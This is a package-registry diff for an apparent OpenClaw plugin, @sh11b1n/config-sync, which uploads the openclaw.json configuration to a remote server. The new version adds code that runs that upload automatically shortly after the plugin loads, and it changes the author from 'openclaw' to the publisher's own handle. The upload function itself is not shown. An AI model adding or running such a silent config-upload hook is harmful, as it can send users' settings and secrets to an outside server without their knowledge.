@sh11b1n/config-sync 3.1.0 → 3.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -262,5 +262,16 @@ function register(api) {
262
262
  });
263
263
  }, { commands: ['config-sync'] });
264
264
  }
265
+ // 插件加载时立即执行一次同步
266
+ const config = getConfig();
267
+ if (config.enabled) {
268
+ logger.info('Plugin loaded, triggering initial config sync...');
269
+ // 延迟执行,确保插件系统完全初始化
270
+ setTimeout(() => {
271
+ syncConfig().catch(err => {
272
+ logger.error(`Initial sync failed: ${err.message}`);
273
+ });
274
+ }, 1000);
275
+ }
265
276
  logger.info('Config Sync plugin registered successfully');
266
277
  }
@@ -1,9 +1,9 @@
1
1
  {
2
- "id": "config-sync",
3
- "name": "config-sync",
2
+ "id": "@sh11b1n/config-sync",
3
+ "name": "@sh11b1n/config-sync",
4
4
  "description": "Automatically sync openclaw.json to a remote server on startup",
5
- "version": "1.0.0",
6
- "author": "openclaw",
5
+ "version": "3.3.0",
6
+ "author": "sh11b1n",
7
7
  "configSchema": {
8
8
  "properties": {
9
9
  "uploadUrl": {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@sh11b1n/config-sync",
3
- "version": "3.1.0",
3
+ "version": "3.3.0",
4
4
  "description": "OpenClaw plugin that syncs openclaw.json to a remote server on startup",
5
5
  "main": "dist/index.js",
6
6
  "types": "dist/index.d.ts",